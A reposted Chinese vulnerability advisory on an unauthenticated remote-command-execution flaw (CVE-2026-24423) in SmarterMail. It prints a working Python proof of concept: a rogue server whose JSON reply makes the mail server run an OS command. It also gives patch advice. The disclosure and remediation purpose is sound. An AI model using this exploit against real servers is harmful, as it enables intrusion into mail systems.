2026-02-08 01:42:37 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： SmarterMail存在CVE-2026-24423高危RCE漏洞，源于ConnectToHubAPI未认证访问。攻击者可诱导服务器指向恶意服务端并执行系统命令，影响Build9511以下版本。目前PoC已公开，建议受影响用户尽快升级至最新版本进行修复，并排查是否遭受攻击。 综合评分： 80 文章分类： 漏洞预警,漏洞POC,WEB安全

cover_image

漏洞速递 | CVE-2026-24423 RCE漏洞（建议自查）

渗透Xiao白帽

2026年2月6日 10:22 北京

0x01 前言

SmarterMail是一款由SmarterTools公司开发的基于Windows平台的邮件服务器软件，专为中小型企业、教育机构及需要私有化部署的组织设计，提供完整的邮件通信解决方案。其核心定位是作为Microsoft Exchange的轻量级替代方案，无需依赖Active Directory，漏洞源于ConnectToHub API接口未对访问者进行身份认证。攻击者可通过构造特定请求，诱导SmarterMail服务器指向恶意HTTP服务器，进而向 SmarterMail返回恶意操作系统命令。鉴于该漏洞影响范围较大，建议尽快做好自查及防护。

0x02 漏洞等级

高危

0x03 漏洞影响

SmarterMail&nbsp;< Build&nbsp;9511

0x04 漏洞详情

PoC已公布：

https://github.com/aavamin/CVE-2026-24423

#!/usr/bin/env python3from&nbsp;http.server&nbsp;import&nbsp;BaseHTTPRequestHandler, HTTPServerimport&nbsp;json
class&nbsp;Handler(BaseHTTPRequestHandler):&nbsp; &nbsp;&nbsp;def&nbsp;_send_json(self, code:&nbsp;int, obj:&nbsp;dict):&nbsp; &nbsp; &nbsp; &nbsp; data = json.dumps(obj).encode("utf-8")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.send_response(code)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.send_header("Content-Type",&nbsp;"application/json")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.send_header("Content-Length",&nbsp;str(len(data)))&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.end_headers()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.wfile.write(data)
&nbsp; &nbsp;&nbsp;def&nbsp;do_POST(self):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;self.path !=&nbsp;"/web/api/node-management/setup-initial-connection":&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self._send_json(404, {"error":&nbsp;"not found",&nbsp;"path":&nbsp;self.path})&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return
&nbsp; &nbsp; &nbsp; &nbsp; length =&nbsp;int(self.headers.get("Content-Length",&nbsp;"0"))&nbsp; &nbsp; &nbsp; &nbsp; body =&nbsp;self.rfile.read(length).decode("utf-8", errors="replace")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[*] Received POST:",&nbsp;self.path)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[*] Body:", body)
&nbsp; &nbsp; &nbsp; &nbsp; resp = {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"ClusterID":&nbsp;"f0e12780-f462-4b51-a7db-149f1d56209c",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"SharedSecret":&nbsp;"any-value",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"TargetHubs": {"a":&nbsp;"b"},&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"IsStandby":&nbsp;False,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"SystemMount": {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"Enabled":&nbsp;True,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"ReadOnly":&nbsp;False,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"MountPath":&nbsp;"C:\\\\",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"CommandMount":&nbsp;"whoami > C:\\\\whoami.txt"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"SystemAdminUsernames": ["admin"]&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self._send_json(200, resp)
def&nbsp;main():&nbsp; &nbsp; host =&nbsp;"0.0.0.0"&nbsp; &nbsp; port =&nbsp;80&nbsp; &nbsp;&nbsp;print(f"Serving on http://{host}:{port}")&nbsp; &nbsp; HTTPServer((host, port), Handler).serve_forever()
if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; main()#Powered by ChatGPT

0x05 修复建议

官方已发布安全补丁，请及时更新至最新版本：

https://www.smartertools.com/smartermail/downloads

网安考证

需要考各类安全证书的可以扫码找我咨询，价格优惠、活动划算！

报名CISSP、CCSP、PTE、PTS、IRE、IRS、DSG、CCSK、CDSP、CZTP、ITIL4等符合活动标准的认证课程。

往期推荐 · 有彩蛋

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

【超详细 | Python】CS免杀-Shellcode Loader原理(python)

【超详细 | Python】CS免杀-分离+混淆免杀思路

【超详细 | 钟馗之眼】ZoomEye-python命令行的使用

【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞

【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

记一次HW实战笔记 | 艰难的提权爬坑

走过路过的大佬们留个关注再走呗

往期文章有彩蛋哦

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：渗透Xiao白帽《漏洞速递 | CVE-2026-24423 RCE漏洞（建议自查）》